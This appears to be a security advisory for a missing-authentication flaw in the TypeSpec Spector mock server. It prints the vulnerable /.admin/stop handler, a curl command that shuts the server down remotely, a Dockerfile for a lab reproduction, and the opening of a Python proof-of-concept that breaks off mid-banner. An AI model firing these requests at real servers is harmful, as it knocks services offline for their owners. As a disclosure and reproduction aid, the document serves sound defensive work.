GHSA-7q9c-hpx7-9cwm TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop

// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
  logger.info("Received signal to stop server. Exiting...");
  res.status(202).end();
  setTimeout(() => {
    process.exit(0);
  });
});

pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default

# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector

curl -i -X POST http://<server-host>:3000/.admin/stop

python3 vuln-002/poc.py --host 127.0.0.1 --port 3001

# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function  CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build:  docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run:    docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4

WORKDIR /poc

# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json

# Install only the npm packages actually used by the vulnerable code path:
#   express     — web framework (admin.ts, routes/index.ts, server.ts)
#   picocolors  — terminal colors (logger.ts)
RUN npm install express picocolors

# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------

# packages/spector/src/constants.ts
#   Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts

# packages/spector/src/logger.ts
#   Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts

# packages/spector/src/routes/admin.ts  ← VULNERABILITY SINK
#   Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts

# packages/spector/src/routes/index.ts
#   Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts

# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts

EXPOSE 3000

# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]

#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package:   @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE:       CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H  Base Score: 7.5 (High)

Vulnerability:
  packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
  any authentication, token, Origin, or IP-source check.  The handler calls
  process.exit(0) after returning HTTP 202.  The server listens on 0.0.0.0
  (packages/spector/src/server/server.ts:88) so any network-reachable client
  can terminate the process with a single unauthenticated POST request.

Usage:
  python3 poc.py [--host HOST] [--port PORT]
"""

import sys
import time
import socket
import argparse
import urllib.request
import urllib.error

BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE     : CWE-306  CVSS 7.5 (High)
=======================================